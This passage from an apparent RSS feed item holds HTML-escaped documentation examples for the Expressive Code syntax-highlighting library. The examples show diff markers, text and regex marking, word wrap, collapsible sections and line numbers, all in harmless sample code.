  {children &amp;amp;&amp;amp;
    !active &amp;amp;&amp;amp;
    (typeof children === &apos;string&apos; ? &amp;lt;span&amp;gt;{children}&amp;lt;/span&amp;gt; : children)}
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Using diff-like syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+this is an actual diff file
-all contents will remain unmodified
 no whitespace will be removed either
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Combining syntax highlighting with diff-like syntax&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;  function thisIsJavaScript() {
    // This entire block gets highlighted as JavaScript,
    // and we can still add diff markers to it!
-   console.log(&apos;Old code to be removed&apos;)
+   console.log(&apos;New and shiny code!&apos;)
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Marking individual text inside lines&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
  // Mark any given text inside lines
  return &apos;Multiple matches of the given text are supported&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Regular expressions&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;The words yes and yep will be marked.&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Escaping forward slashes&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Test&quot; &amp;gt; /home/test.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selecting inline marker types (mark, ins, del)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
  console.log(&apos;These are inserted and deleted marker types&apos;);
  // The return statement uses the default marker type
  return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Word Wrap&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/word-wrap/&quot;&gt;Word Wrap&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Configuring word wrap per block&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Example with wrap
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Example with wrap=false
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Configuring indentation of wrapped lines&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Example with preserveIndent (enabled by default)
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Example with preserveIndent=false
function getLongString() {
  return &apos;This is a very long string that will most probably not fit into the available space unless the container is extremely wide&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Collapsible Sections&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/plugins/collapsible-sections/&quot;&gt;Collapsible Sections&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// All this boilerplate setup code will be collapsed
import { someBoilerplateEngine } from &apos;@example/some-boilerplate&apos;
import { evenMoreBoilerplate } from &apos;@example/even-more-boilerplate&apos;

const engine = someBoilerplateEngine(evenMoreBoilerplate())

// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)

function calcFn() {
  // You can have multiple collapsed sections
  const a = 1
  const b = 2
  const c = a + b

  // This will remain visible
  console.log(`Calculation result: ${a} + ${b} = ${c}`)
  return c
}

// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: &apos;End of example boilerplate code&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Line Numbers&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/plugins/line-numbers/&quot;&gt;Line Numbers&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Displaying line numbers per block&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// This code block will show line numbers
console.log(&apos;Greetings from line 2!&apos;)
console.log(&apos;I am on line 3&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Line numbers are disabled for this block
console.log(&apos;Hello?&apos;)
console.log(&apos;Sorry, do you know what line I am on?&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Changing the starting line number&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;Greetings from line 5!&apos;)
console.log(&apos;I am on line 6&apos;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>